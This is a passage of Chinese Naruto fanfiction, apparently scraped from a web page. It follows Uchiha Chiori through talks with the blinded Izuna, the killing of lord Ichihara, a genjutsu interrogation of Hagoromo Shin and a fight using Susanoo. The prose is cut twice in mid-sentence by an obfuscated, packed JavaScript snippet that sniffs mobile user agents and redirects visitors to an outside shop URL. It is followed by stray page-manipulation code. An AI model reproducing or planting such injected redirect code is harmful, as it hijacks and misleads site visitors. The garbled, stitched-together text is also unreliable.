他现在练习的估计是那些曾在战场上复制过但基本没怎么用过的术。 眼见着泉奈切换忍术的速度逐渐变得滞涩,他大概是在脑子里整理自己学过的忍术,都没注意到院子里来了其他人。 “泉奈。”他的表情越发严肃,我出声打断他,脚下故意发出了些声音走过去。 黑发青年循声侧过头,松开手放下。他淡色的唇微微抿了抿:“千织,你来做什么?” 我没问他怎么在练习结印,这对如今的泉奈而言是个十分残忍的问题。 不把这些东西记在脑子里的话,失去眼睛的他就得去求助旁人。 这个世界可没什么盲文供失明的人阅读。 “发生了一些事。”我坐到离他还有一个身位距离的廊下,和他说了真生的事。 “……是我疏忽了,当初没有审问清楚。”听完之后,泉奈沉默了一会儿,才道。 这熟悉的揽锅方式。 但还没等我出言劝他,泉奈就十分自然地转了话题:“你不仅仅是为了调查羽衣才接下这个任务的。” 他的语气十分笃定。 “带上真生吧,让他将功折罪。”泉奈缓缓说道。 我有些讶异:“我以为你会阻止我。” 从理智上来讲,在知道我接任务存在着私心时,为了排除任务隐患,就该换掉我的。 泉奈的手微动了一下,他唇角轻轻弯起:“我不是那么不近人情的家伙,而且——” “我相信你,千织。”他说。 我一时不知道他是在夸我还是损我。 这么说显得我怪没感情的。 “好吧,”我接受了他的理由,有些无奈地按了按有些发疼的额角,说起另一件事,“斑大人也让我把一些你现在能够处理的事交还给你。” 泉奈似乎想都没想,立刻道:“这样的工作交给其他人就好,我这样还能做什么……” “泉奈!”我厉声打断他。 这就是最让人担心的地方。 失去了引以为傲的眼睛,甚至生活自理都需要人辅助,这样的心理落差带来的打击是沉重的。 总所周知,我们一族的情绪极为敏感。 能开万花筒的更是其中翘楚——我应当不算,我当初能开万花筒,很大概率是被可能不会改变的未来和自身可能面临的死亡刺激到了。 “把这些交给其他人的话,你又怎么办呢?”我问他。 泉奈回答得理所当然般:“这些事务可以交给更值得的人做,而不是因为同情,让我生出自己还有用的错觉,这是浪费。” “……这话你没和斑大人讲过吧?”我瞪着他,可惜他并看不见我的表情。 宇智波泉奈果然从小就知道怎么调动我的情绪,让我生气。 包括现在。 泉奈听出了我言下之意,不太自在地侧头回避了一下,又道:“斑哥不会对我做什么的。” 我想想,还真是这样。 总不能把现在的他拉去院子里打一顿。 “算了,我说不过你的歪理,”我平复好自己的心情,“要说你自己去找斑大人商量,我才不想管你的事。” 这种问题他们自己去解决! 他听了之后便叹气,慢吞吞地劝我:“你不用因为我生气——” “你不说这些讨人厌的话我怎么可能和你生气!” 这家伙怎么搞得跟看破红尘的人一个调性。 “好吧,我不说了。”泉奈被我打断后顿了顿,回应道。 他这么说我就跟一拳打在棉花上一样无力,一口气堵在心口不上不下的:“……你就不能像以前那样吗?” “以前?”泉奈歪了歪脑袋,显得十分疑惑,他似乎想说什么,但忍住了。 “……”我正想说让他像以前正常时的样子,却又怕他被刺激到,连忙闭上嘴。 没得到回应的泉奈唤了声我的名字,语气中的不解更甚了。 我连忙把话题拉回正事:“你别说那些有的没的,族里现在缺不了你。” 眼看着泉奈又要张嘴说话,我飞快地接上:“不久之后就又是雇佣期了,千手不会作视议和进行到中途又开战的情况,这段时日必定会有大动作。” “斑大人又太过信任千手柱间,”我开始尝试着将泉奈拉入己方阵营,“但千手既然承认我会‘木遁’,想必也没有那么单纯,你得替斑大人防着点千手。” 想起原著木叶的情况,我就头皮发麻。 千手族长大大咧咧开空头支票,族长也信了,结果空头支票作废,族长也在黑绝改过的石碑引诱下黑化。 我已经模糊的上辈子记忆告诉我,当年明朝好像也有个这么给自家儿子开空头支票的皇帝,他儿子后来好像也谋反了。 与其让族长的心情经历大起大落,倒不如让泉奈给族长打好预防针。 别到时候族长又叛逃了。 事情涉及到泉奈的兄长,泉奈也不拿他目前的状况当借口推脱了。 “我会注意的。”泉奈回答。 “要是到了讨论协约的地步,也得仔细研究一下千手有没有留坑。”我继续道。 泉奈却忽而笑了一下:“你都想到拟定合约的步骤了吗?” 这是在笑我八字还没一撇的事就计算得这么清楚! “……我走了!”我一时语塞,反正要说的事都说清楚了,连忙起身告辞。 只是泉奈突然拉住了我的手。 我回头垂眸望他。他半抬起头“望”着我:“我没有笑话你,千织。” “不过,你也尽量早些回来,”泉奈缓缓说道,“这是你一直期待的结局,真的要结盟的话,你不想见证这一切吗?” 哪里是结局,一切都只是刚开始罢了。 而且上辈子都看过了。 或许是我之前的立场让泉奈误会了,他以为结盟的那一刻对我有特殊的意义。 但其实,越接近结盟那个目标,我的不安才越发强烈。 这个世界已经有了不少改变了。 “泉奈,今后的一切会怎么样呢?”我不禁开口问他。 他从主战派转为主和,难道没有一丝迷茫吗? 一定会有的吧。 他其实并没有真正原谅千手,主和只是目前族内面临问题的最优解。这样的他,怎么可能会对未来没有顾虑呢? 外面不知何时无声地下起了下雪,雪落时静谧无声。 听说失去视力后,其它的感官会代偿性地增强。 泉奈会听见雪落的声音吗? 离开的时候,看着天空飘落的细小雪粒,我不禁这么想着。 离开前,泉奈对我说:“没有人能够知道未来会是什么样,但既然已经选择了这条道路,就只能一往无前地继续走下去了,千织。” “至少,要无愧于自己的付出。”他说。 原著中那个坚持战斗到死的泉奈。 眼前这个提前捐出了自己眼睛的泉奈。 以及孤身一人走上月之眼计划直至最后一刻的族长。 他们似乎都没有后悔过。 我又想起很多年前,跪在老师面前请求老师教授幻术的辉。老师说,他们一家都十分固执。 果然是这样。 至少要对得起自己的付出。 那些杂乱的、干扰判断的情绪并起不了什么作用,反而会拖后腿。 木叶如果真的建立了,那就坦然面对之后可能会出现的挑战。 最坏的结果,难道还能比原著更差吗? 在结盟前退缩,也太怯懦了。 离开族地前,我先去找了宇智波真生,如泉奈所说那样将他带上。 只是探查消息,我一个就足够了。 泉奈还是对以往的部下留情了,将功折罪是一方面,他是想让宇智波真生为枉死的族人复仇,解开心结。 我们的第一站不是羽衣一族,而是去年羽衣一族的雇主家。 这一家是当时宇智波一族的雇主的盟友,火之国的一名领主。正是因为他们是盟友,分别雇佣了一支忍族,这才促成了两族的联合作战。 被武士守备的森严府邸拦不住忍者的窥视,这些武士中有部分确实能够使用查克拉,但技艺精湛的那部分武士早在多年前涌入铁之国的范围建国了,这些在外的武士早已没落,面对忍者并没有优势。 一路畅通无阻地潜入府邸,大广间内领主正在和家臣议事。 “去年羽衣的溃败让我面上无光,这几次聚会,他们总要拿这事说笑一番。相比之下,倒是他们同行的宇智波不错。”坐在上首的领主百无聊赖地敲着桌子。 坐在下方家臣们面面相觑,面上露出为难之态,其中一人在同僚的注视下开口:“当初羽衣信花言巧语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737689|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他们羽衣曾和宇智波结盟,实力相当……” 羽衣信是之前找我打探泉奈下落的羽衣一族少主。 “实力相当!你也能信?”领主讥讽地冷笑道,座椅的扶手被拍得闷闷作响,“实力相当还容得了他们结盟?就该像千手和宇智波那样互相残杀才对!” “我看这次攻打三和就雇佣宇智波好了,千手也行。提前定下来,今年我不能再输了。”领主不耐烦道。 “可宇智波的佣金向来昂贵,去年的收成……” “只要能赢,花出去的钱都能在和谈的时候收回来。”领主不耐烦道。 “我们如果雇佣千手或宇智波的一方,三和必定会雇佣另一方。一旦这样,胜负并不明朗!” “那你们说,要是三和雇佣了宇智波或者千手,我们怎么办?” …… 听这群人这么议论着我们忍者,感觉还挺微妙的。 大广间内因为该不该雇佣我们和应该雇佣哪支忍族吵吵嚷嚷,最后不欢而散。领主阴沉着一张脸拂袖而去,我对真生使了个暗号,悄悄跟上。 他回到内苑大发脾气,我听见他夫人问他怎么了,于是领主便大吐苦水,接着又抱怨起忍族雇佣金昂贵。 我:? 你是说我们的卖命钱贵了? 另一边领主的抱怨已经升级成咒骂:“这群贱民,容许他们生活在火之国境内已经是对他们的恩赐。让他们为我而战,竟然还要索要昂贵的报酬,要是能保证获胜我也不说什么了,你看看去年的那个羽衣,钱拿了,人也跑了。最后我什么都没捞到!我们征收力役税金的时候,也没见人来要钱啊!” 总而言之,他的话就一个意思。 他想白嫖。 他的夫人还强撑着笑容劝解他:“您的家臣们为您做事,也能领食禄呀。” “忍者岂能和他们相提并论!” 见这家伙越说越离谱,我懒得再听下去,出手打晕了他的夫人,出现在他面前。 “……羽衣信?”领主瞳孔一缩,见我出现,不由后退一步,色厉内荏,“你怎么在这里!” 他认识羽衣信,而且还很熟。 那他在大广间甩锅家臣的行为还真是…… 难评。 我扯了扯唇角,礼貌地对他微笑道:“市原大人,好久不见。您将我们一族的失败全都归结于羽衣一族,但您似乎忘了,当初雇佣我们也是您下的命令。” “我劝您不要冲动,您可以试试,是您的侍卫们快,还是我的刀快。” 市原果真不敢声张,他胡乱地抓住了房中摆放的刀,似乎有了几分底气,又听我提起去年羽衣的溃败,情绪更是上头:“当初是你们羽衣一族找上我,求着想要一次机会,还以为你们有多大本事,结果第一天大败而归不说,还和宇智波闹翻,你们羽衣还自称什么六道后裔,能和宇智波相提并论,简直活该没落!” 我怔了一下,六道后裔不稀奇,现存的忍族都爱这么说,但是和宇智波相提并论? 至少在族长用过须佐能乎后,除了千手还真没忍族敢这么吹。 结合黑绝曾经接触过羽衣,羽衣又敢说出这种话,加之羽衣曾打探过泉奈的下落……他们之间有什么交易似乎已经呼之欲出了。 原著没提过羽衣后来的情况,但是和原著相比,这辈子黑绝出乎意料的行动也能找到一丝端倪。 他希望阿修罗和因陀罗查克拉的转世者互相争斗,使轮回眼再度诞生于世。 但这一世的转世者中,千手柱间一直在劝说族长结盟。而能影响到族长决策的人…… 一开始是将矛头对准我,想让我孤身潜入千手。只要当时作为泉奈妻子的我在千手出了事,泉奈必然不会再接受所谓的结盟。 同时也将泉奈作为目标,撺掇羽衣挑起宇智波和千手的纷争,毕竟没有什么比来自盟友的背刺更意外的事了。 只是当时泉奈没有在战场上,失去目标的羽衣自然消极作战,以保全自身为主。 该说不说,结合原著黑绝背刺族长的那一下,他的手段还挺固定的。 也不知道黑绝对羽衣是如何承诺的,但是羽衣对宇智波的敌意恐怕不低。 不然也不至于连面子都不装一下。 “我明白了,”我抬眼看向已经溜到门边的领主,他似乎被我突如其来的动作吓了一跳,正准备喊出声,我便先一步开口,“杀了他。” 一截雪亮的刀尖自他胸前透出,变成羽衣族人模样的宇智波真生挡住了从门外透入的阳光,他站在领主背后撑住对方将要倒地的身体,房门顺势被他反手合上。 市原不可置信地睁大眼睛,宇智波真生又用苦无在他喉间补了一刀,以致于他无法喊叫,只能断断续续地质问道:“你、竟敢……” 我绕过倒在地上的领主夫人,将架子上那间华丽的打卦取下来,向真生扔过去。 宇智波真生用衣服堵住市原体内不断涌出的血液,这才将忍刀抽出。 “信大人,那个人也一并处理了吗?”真生问我。 我有些意外,他竟然没有质疑我的命令,毕竟刚才让他杀的可是一个贵族。 不过这里并不适合问过多的问题,我看向已经醒来却装作昏迷的领主夫人,心下一动,走了过去。 “智子夫人。”我在她身边蹲下,叫出她的名字。 倒在地上的女人身体颤抖地更加厉害。 她是市原家臣之女,本名智子。她的父母同样也是贵族联姻,在市原家势力很大。 领主死了,她能凭借她父母的权势在继承人成年以前控制住市原家。 其实就算她没有抖,根据她呼吸频率的变化,我们也分辨出来她究竟是昏迷的还是清醒的。 “您也不赞同市原大人今年想要开战的决策吧?”我将手放到她的脸颊上,寒凉的气息顺着指尖侵入过来,我注视着脸色苍白的她,“我知道您已经醒了,或许,我们能谈上一笔交易。” “当然,您要是认为,同时失去了领主夫妇的市原家,可以平安度过周边领主的窥视,就不必睁眼了。” 掌心下,智子颤颤巍巍地睁开了眼。 她强忍着恐惧,看都没看倒在另一边的丈夫,颤抖着声音问道:“羽衣大人,您想要做什么?” 我看见她恐惧的瞳孔中所倒映的、属于羽衣信的那张脸,缓缓勾起了唇角。 我想,忍者的力量,真是令人恐惧的东西。 当年议和会场上贵族对忍者的嫌弃、市原口中的贱民、刚才大广间里犹如挑瓜买菜般对忍族的评判,终究还是影响到了我。 死去族人所流的血,到他们嘴里,就成了不值得付出那么多金钱的卑贱之物。 不可以得罪雇主,作为贵族们的雇主天生高人一等,掌握着我们生存的必要之物。 可怎么就没人发现呢? 这些上位者,实际上孱弱得和普通人并没有区别。 我原本是想将市原的死嫁祸给羽衣的。 现在,我稍微,改变了主意。 既然想要等待和平之世的到来—— 那么为什么,这个和平之世的范围,不可以大一些呢? 当贵族手中的被项圈圈住的狗,哪有当人好。 当年在课上所学、不觉殊异的一句“王侯将相宁有种乎”,此刻听来却觉振聋发聩。 忍者是武器,没有大人小孩的区别,是注定死在战场上的消耗性物品。 不可以哭泣,不可以违抗命令,不可以有多余的感情。 可我想当人。 我没有什么宏大的理想,不想做什么王侯将相,我想当个人。 43.靶子 智子从没想过,一次看似普通的战争雇佣,会带来这样的灾祸。 她在嫁人之前便听说了自己未来的丈夫市原是个什么样的人。 自负、不堪大任,但运气好。 市原的母亲与她的母亲是堂姐妹,为了维系家族的纽带,最终他们订婚了。 市原有几个异母的兄弟,但聪明的几个都不幸早夭。 智子的母亲说,市原的那几个弟弟,运气不好。 他们这样的家庭,如果未来坐在那个位子上的人实在难堪大任,即使有血脉关联,也不一定扶持,可人选只剩下了市原,这是唯一的选择。 至于市原另外几个没死的弟弟,都不敢与长兄相争,早早离开市原家,去了别的领主手下。 等到智子嫁人,她才知道他的丈夫是个何等愚蠢之人。 他难以听进他人的劝谏之言,暴躁易怒,也不怜惜领民,自己对财货更是挥霍无度——却又在要将钱财花在领地时吝啬万分,全然不为领地与将来打算。 智子的母亲劝她,智子,等继承人再长大些,不会被突然到来的疾病夺去生命,她就不用忍耐了。 市原本就注定了命不久矣。 但她没想到,市原会死在忍者手中。 死在他曾经雇佣却又看不上眼的忍者手中。 眼前的年轻忍者黑发披垂而下,额间戴着没有纹样的护额,双瞳比没有月亮的夜晚还要黑,光仿佛都透不进去那双黑色的眼睛。 忍者的唇角轻微地翘起,露出令人战栗不已的微笑。 像是面容姣好、在黑夜里走出的索命恶鬼,看见了猎物。 智子全身都在颤抖,脑中有一个声音一直在叫嚣着逃跑。 但是不可以。 逃跑会死。 那只轻轻地搭在她颊边的、温度偏凉的手,正这么告诉她这个事实。 ——这只手可以轻易地夺取她的性命。 明明只是败者。 明明羽衣一族,在上一次战争当中,溃败地如此之快,在忍族中都没落到排不上号了。 却能如此轻而易举地潜入、杀人……掌握她的生命。 这一瞬间,她的脑海中有一团被养尊处优的生活所笼罩的布被揭开,强烈的、不可置信的恐惧和疑问涌上心头。 ——怎么敢的。 ——她的祖辈们、同为贵族的人,究竟是怎么敢的。 ——将猛兽当作猎犬豢养,这是一群只要意识到自己身怀着何等力量便能随时反扑的恶兽! 而眼前这个忍者,已经意识到了! 市原家、不,火之国……这个世界,就要完了! “羽衣大人,您想要做什么?”智子强忍着战栗问对方。 这个出身羽衣一族的忍者将视线投注到了她丈夫的尸身之上,神情就如同注视着一个平平无奇的死物。 “真不幸,市原大人死于一场谋杀,您对凶手有头绪吗?”年轻的忍者问她,用语谦卑,任谁也想不到不久前就是他下令杀死了市原。 智子僵硬地点头。 她的父母对市原的忍耐越发稀薄,去年市原决策失败,不顾家臣阻拦雇佣了羽衣一族后,家中的暗杀计划和后手便早已准备好,只是没来得及实施。 她无法在眼前之人面前撒谎,一五一十地交代了清楚。 黑发的年轻忍者似乎有些讶异,轻轻挑了一下眉梢,用着一种很是奇怪的轻快语调说:“那也省事。” 大概是满意于她的答案,忍者终于收回了那只可怕的手,让她坐了起来。 青年蹲在她身边,托着自己的下颌,居高临下般垂头看她,用一种半是商量半是诱哄的语气说道:“智子夫人,领主大人的身亡实在令人遗憾。少主如今年幼,身边的护卫更需要加强戒备。” 可就算是这样的语气,智子也不敢违抗。 提到自己的孩子,智子的内心不禁一颤:“您的意思是?” 年轻忍者眸中含着的浅浅的笑意淡了下来,这让智子有些慌乱——是哪里做得不对吗?她不该问出来吗? 但没等智子联想越发糟糕,这名忍者便开了口:“虽说羽衣一族,去年的表现令人十分不满,可今年的财政状况也不容市原家雇佣大族。 “夫人不如召来羽衣一族能够主事的忍者,比如他们的族长或是少族长,雇佣他们来保护少主,并以去年之事压些价。” 智子如坠冰窟。 眼前的人明明自称是羽衣信,此刻却又说让她以领主名义召来羽衣一族的少族长雇佣他们。 他提起羽衣一族去年失败一事,语气轻蔑,根本不像是羽衣一族的忍者所能说出的话。 所以,这个人根本不是羽衣信! 引羽衣一族的人来此,他们难道是想将市原家当作战场吗?! “……我明白了,我该怎么称呼您?”智子慢慢垂下头,嗫嚅着开口,原本她还有些脱困后雇佣忍者杀掉眼前之人的想法,可现在这种想法也被尽数磨灭,她一来不知道对方底细,二来对方既然敢做套引诱羽衣忍者来此,自然也有底牌。 此刻的她,彻底不敢再有多余的心思。 …… “称呼?”我回头看了眼真生,他尽心尽力地饰演一个没有命令就毫无动作的下属,注意到我的目光后回以等待命令的神情。 我有些苦恼。 正经的假名我还没想过,以往在据点的时候倒是用过“千”的名字。 不过这个名字所代表的人擅长幻术,指向性强,很容易让人联想到宇智波去。 沉默了一会儿,我开口道:“凉真,叫我这个名字即可。” 给智子种下了一道符咒后,我带着真生暂时离开,在市原家的领地中隐蔽起来。 羽衣信再怎么说也是一族的少族长,行踪难以窥探,而且也较少外出任务。主动找上羽衣危险系数高,蹲守他外出任务效率也低,不如直接用任务把人钓出来。 羽衣一族这些年逐渐没落,比起战争雇佣,更倾向于这种伤亡小的护卫雇佣来保全自身。 可惜这种任务可遇而不可求,即使有,也容易被更厉害的忍族截胡。 随随便便指明羽衣一个任务,当然会让人心生警惕。可市原家不太一 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不再纠结这件小事,等待羽衣到来期间,忍猫送来了火核的信。 信中的内容和千手有关。 大概是市原刚死那会儿,千手柱间和他弟弟亲自上门了。 两族倒是没打起来,千手一行也没能进得了宇智波的族地。 毕竟如今泉奈没了眼睛,我也不在,族长一个人应付那对兄弟并不容易,要是被看出族中内里空虚,指不定会有变故。 族长带着人在族地外见了千手的人,以两族的关系来看,千手族长进不了宇智波也正常。 火核自然跟着一起去了。 他在信里说,千手族长不久前发现一股窥探他的气息,一路追击之下那股气息消失在了宇智波附近,是来提醒的。 而后族长表示他已经抓到了那个家伙,不必千手操心。 在千手族长询问那家伙是什么人时,族长不耐烦,将被封印的人扔了过去,让千手族长自己探查审问,审完了就还回宇智波。 只是这一查就查出了问题,那个窥探过两族的家伙名为黑绝,竟然一直在暗中挑起两族纷争。 在场的族人和千手不少,都知道了这件事,现在族中正因此事议论纷纷。 “……” 我收回信,不知道该说什么。 很明显,族长和千手族长,都在演戏。 他们在演给两族的人看。 确实,即使能够证明两族血脉往上追溯是同出一源,可已经造成的仇恨并不能消亡。 那么,如果这些仇恨是有人诱导的呢? 黑绝被当作这个靶子立在了两族人面前。 当然,他也不冤。 我算是知道为什么要一直留着黑绝了,原来是为了今天。 现在这事一出,估计两族中想要议和的人都会变多。 羽衣这边的事要是再不解决,我说不定真会如泉奈所说那样,赶不上结盟。 44.须佐 好巧不巧的一件事,羽衣一族的人进入城町的时候,刚好被我撞上了。 领队的人是羽衣信。 我看了那边一眼便收回目光,等到他们进入市原家的府邸才离开。 宇智波真生问我什么时候动手。 “等到他们和市原家谈好条件回程的时候。” 我让真生去探查町外的环境,选好拦截他们的地方。 羽衣信作为羽衣一族的少主,自然不可能被长期的守护任务绊住,无论能不能谈成,他都是要回去的。 虽然市原家的领地并不富裕,但町中的居民密度依旧很大,如果打起来动静太大波及到居民区,大多数普通人都来不及避难。 这期间火核又来了一封信,说是两族已经初步定下了结盟的意向和时间。先结盟,后续的合作内容再慢慢商谈,能看出来结盟已经是大势所趋。另一件很重要的事就是对黑绝的处置。 结盟仪式当天将对外公布黑绝的罪行并予以处刑,以告慰两族枉死的冤魂。 火核问我什么时候能回去。 我估算了下时间,遗憾地发现我真不能在结盟前赶回去。 ……算了,不就是两族族长握手言和的场面吗,看不见就看不见。 真生探查完环境回来后我顺便告知了他这个消息。 伪装成普通人的中年忍者闻言愣了好一会儿,坐在窗户边拿着火核的信纸一言不发。 我问他在想什么。 “……要是能早几年就好了。”真生说。 我想起来了,他的孩子就是在前几年战死的。 我一时无言,却又想起凉真的父亲在得知两族可能会结盟后的表现。 于是我又问他:“你知道族里不愿意结盟的那些人的态度吗?” 我没有用极端激进派来形容他们。 真生皱了皱眉:“即使他们不同意,现在也是箭在弦上不得不发了,千织大人。” 我唔了一声,表示知道了,却仍有些惴惴不安。 一周后,市原宅送来消息,羽衣一族的人将在第二天启程。 我和真生在夜里悄悄离开了城町,埋伏在了他们回到羽衣一族的必经之路上。 真生问如果去年那件事真的是羽衣蓄意为之,我想做到什么程度。 “我们和千手结盟的消息一旦传出去,你猜会发生什么?”我反问真生。 连互为宿敌的千手都能原谅,为什么不愿意原谅只是踏错一步的羽衣呢? 连千手和宇智波都结盟了,剩下的忍族还不投奔或是抱团,是等着被灭吗? “这件事要在结盟的消息传递出去前处理好。”我无意识地转动着手中的苦无,看向远处的城町,轻声说道。 明明两族已经有了不少幼年忍者的默契了。 都是羽衣。 如果不是作为盟友的羽衣放弃防守,让猿飞一族突入…… 我压抑住心中的杀意。 还不急,等抓到了羽衣信,先审问清楚。 黑绝到底向他们许诺了什么,马上就能知道了。 第二天是个晴日。 春日已经悄无声息地到来,不久前还遍布积雪的森林一眼望去已经披覆着一层生机勃勃的绿意。 真生埋伏去了暗处,我开着写轮眼,踩在树枝上看着一无所觉踏入常世范围的羽衣一行,开始结印。 动用查克拉,必然无法再隐藏行踪。 “火遁.凤仙花爪红!” 查克拉附着在手里剑上,燃烧成团向羽衣小队袭去,常世之下涌来的攻击虚实难辨,我在一阵惊起的敌袭声中抽刀斩向了为首的羽衣信。 锵的一声,羽衣信接住了我的一击。 他在目光触及到我的写轮眼后猛然一怔:“宇智波?!” 下一刻,羽衣信半分犹豫也没有,垂头避开我的视线,双脚一蹬向后撤离,与此同时手中滑出一把苦无向自己身上扎去。 没用的。 用疼痛从幻术中挣扎出来的前提是幻术作用于普通感官。 常世的原理不同于普通幻术。 我冷眼看着羽衣信面对寻常幻术的最佳操作,感叹道:“这不是很有斗志吗,羽衣?怎么在面对猿飞的时候毫无还手之力?” 几个实力不济被火遁一击致命的羽衣倒在地上,剩下几个羽衣从四周包围了过来。 羽衣信认出了我的声音,他迟疑了片刻:“宇智波千织?宇智波这是什么意思?你认为一个人就能拦住我们吗?” 还未熄灭的残余火星灼烧着地上的枯草,发出哔剥之声。飞鸟在突袭之下尽数惊飞,林中鸟雀之声顿消。 “一个人?”我笑了笑,常世幻化而出的忍者窸窸窣窣地自林中走出,“谁说我是一个人了?” 实际上,里面混杂着用过变身术的我和真生的分/身。 “至于我们是什么意思,羽衣信,你应该心知肚明才是——在你和人合计算计我们宇智波的时候。” “风遁——”羽衣信神色顿时阴沉下来,混入千本的风遁卷起狂风,向幻术化作人影袭去。 风遁与火遁相互助力,所以曾经的羽衣常常与宇智波联手。 若非如此,若非如此—— 我心中杀意翻腾,忍刀向他扫去,打断他使用忍术的进程。 噗噗几声传来,是几个没避开的分/身在风遁中暗含的千本中露出原型,羽衣们惊恐的声音传来:“信大人,不全是分/身!” 要的就是让他们相信除开分/身的,全是真人。 羽衣信眼含焦急,想要去帮助其他被围攻的族人,我紧咬着他不放,忍刀一息之间便过了十数招。 羽衣信虽说只是一族少主,却是因为老羽衣族长太能活了,实际上他和我们是同辈,实力也较之常人不同,并不是能随便对付得了的。 曾经是盟友的羽衣比寻常忍者更清楚宇智波的可怕。若非常世原理不同,我还真找不到机会侵入他的精神。 终于,在他一个不慎之下,我找准破绽,他身后的树枝陡然生长,在他避开我的火遁时刺穿了他的肩胛骨。 “……”这个位置有点眼熟。 想起某位木遁使,我有些微妙地移开视线。 羽衣信不可置信地看着肩膀处的伤口:“幻术……不可能,什么时候?” “从一开始你就没逃过,”我将羽衣信按在他身后的树上,将忍刀插在身侧的地上,平息了一下自己的呼吸,而后抬起他的脸,写轮眼的瞳力顺着他的眼睛侵入他的大脑,“你和宇智波真生谈论了什么?” 瞳力构筑幻术,回忆反应到幻术之上。 黑绝操控的宇智波真生站在羽衣信的面前:“羽衣与宇智波都是六道仙人的后裔,如今享受忍界威名的却是宇智波,没人记得羽衣。” 羽衣信怀疑道:“你是宇智波泉奈的得力下属,前途大好,何必找到我们羽衣?” “宇智波真生”露出一双猩红的写轮眼:“泉奈大人和斑大人……他们压得人喘不过气来,那是怪物一样的力量。” 羽衣信毫无防备之下接受了写轮眼的冲击,接受了“宇智波真生”想要夺权的理由。 “你们宇智波,还真是身在福中不知福。”羽衣信讥讽着黑绝。 “算来,羽衣和宇智波也算是近亲,对写轮眼的排斥反应微弱到没有,”黑绝引诱道,“可惜羽衣一族已经没落了。” “你什么意思?” “每场战争都会有死人,宇智波不需要这些人的写轮眼,你们也不想要吗?”黑绝开出了不会令人生疑的条件,“今后,还会有更紧密的联系,宇智波与羽衣应该是你中有我、我中有你的紧密联系。” “两族的名字,会永远缠绕在一起。” 无法拒绝的诱惑。 羽衣信问黑绝:“你想要我们怎么做?” “今年来不及了。明年,想办法与宇智波结成联盟共同对抗千手,我会从中帮忙,先解决掉泉奈大人。”黑绝说道。 羽衣信看了仍对泉奈用着敬称的黑绝半晌:“……有你这样的下属,真是宇智波泉奈的不幸。 “再让我考虑考虑。” 之后的内容不必再看,泉奈在那场战争并未出现,黑绝也早已离开宇智波真生的身体。 察觉到不对的羽衣一族拿不准宇智波真生的态度,也不知道宇智波知道了多少,最后在继续演戏和尽快逃离之间选择了故意在消极应对后和“被迫”和宇智波断了联系。 这段记忆如浮光掠影般闪过,幻术与现实的时间不太同步,我退出幻术的瞬间有几分掌握不清现实的情况,凭借本能侧过头避开身后飞来的苦无,反手抓住刺入羽衣信的胸口。 羽衣信因被幻术强行入侵了大脑信息还在失神的瞳孔陡然放大,整个人也顿时委顿在地。 诚然,羽衣信答应黑绝也有被重利诱惑的因素,但黑绝使用写轮眼刺激羽衣信也是原因之一。 没有写轮眼的幻术刺激,羽衣信不一定会答应。 他现在已经死了。 到此为止吧。 上位者的决策,普通忍者也只有听从一途可走。 留下剩下的人,让他们去给羽衣族长报信。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“千织大人,”宇智波龙之介的目光十分冷漠,“是您影响了泉奈大人,您才是真正的主和派。” “忍者的归宿就是战场,我不同意您的观念。我们,都不同意。” 真是混蛋。 我死死盯着他,随他而来的人已经开始围攻起宇智波真生。 我本来想对他说,我为凉真报仇了。 但看到眼前这一幕,我却明白说了也没有意义。 没必要多费口舌。 凉真是他的孩子,可他将忍者的观念放在了最前面。 一个正常的男人,想要一个孩子,是多简单的事啊。 只要娶一个妻子,剩下的便不再发愁了。 死了一个凉真,他还有一个镜。 那个死在战场上的孩子,真正在意他死亡的,或许只有惠理沙吧。 至于凉真的母亲,我也不知道她是怎么想的。 我果然很讨厌背叛,我想。 “你想杀了我?”我盯着宇智波龙之介,一字一顿,“就凭你?” 青蓝色的查克拉向外涌出,查克拉所构成的巨人拔地而起。 头很晕,刚才的苦无上应该抹了毒。 我站在须佐之上,把宇智波真生捞了出来,看向不知道从哪里钻出来的忍猫。 向来被养得盘正条顺的忍猫此刻虚弱不已,看起来只剩一口气了。 刚才就是她赶了过来替我示警。 “帮我把猫带回去。还有,”我顿了顿,还是道,“他们要是死了,就说他们牺牲好了。没有死的话,就帮我报仇。” 我将真生扔向忍猫的方向。 看着面对须佐露出恐惧的几名宇智波,我握紧了手里的刀。 过去我不理解,为什么和敌对忍族少主交友的千手柱间会被千手佛间斥责“险些被当成宇智波的奸细”。 同族之人,休戚与共,何来奸细叛徒一说。 同族之人,怎么可以自相残杀? 怎么能够自相残杀呢? 我又想起那个潮湿的、混乱的雨夜。 在木遁冲击下的我不可避免地想到了未来能否改变的问题。 那时的我不知道自己能否活过结盟,并因此获得了万花筒。 但或许,真的是命中注定,在木遁的旧伤撕裂的今天……我大概活不到结盟那天了。 那就畅畅快快地打一架好了。 为了眼睛、为了藏拙、为了结盟,一直隐瞒着自己的万花筒。 我都快忘了,宇智波是追求力量的一族。 查克拉在飞速流逝,我没用过须佐,不知道这是正常状况还是有药的影响。 我从来没有这么畅快地用过万花筒。 拥有力量,是这样的感觉啊。 这种感觉,简直令人上瘾。 “想杀我,那就来试试啊。”我举起须佐的剑,任由鲜血自眼眶中流出。 45.失踪 千手与宇智波结盟那天,晴空万里。 宇智波泉奈坦然接受着对面千手方诧异的目光,等待结盟仪式的完成。 “千织还没有回信吗?”仪式结束后,他问起火核。 火核的声音听起来有些无奈:“现在千织大概才收到信不久,回消息也不会那么快。” “如果是任务做完了在往回赶,可能连信都不会回。” 另一边的兄长叫到他的名字,泉奈轻轻呼出一口气,不太情愿地往千手兄弟查克拉都在的那个方向走去。 他注意到一道让人不太舒服的目光落到他身上。 果然,是那个讨人厌的千手扉间。 “宇智波泉奈,亏你这样还能从合约中挑刺。”千手扉间的语气十分不满。 千手扉间他哥语气痛苦:“扉间,你少说两句!” 千手扉间冷笑了一声。 虽然具体的、关于建村的细则还没谈好,但结盟前初步的停战结盟的合约已经签订了。 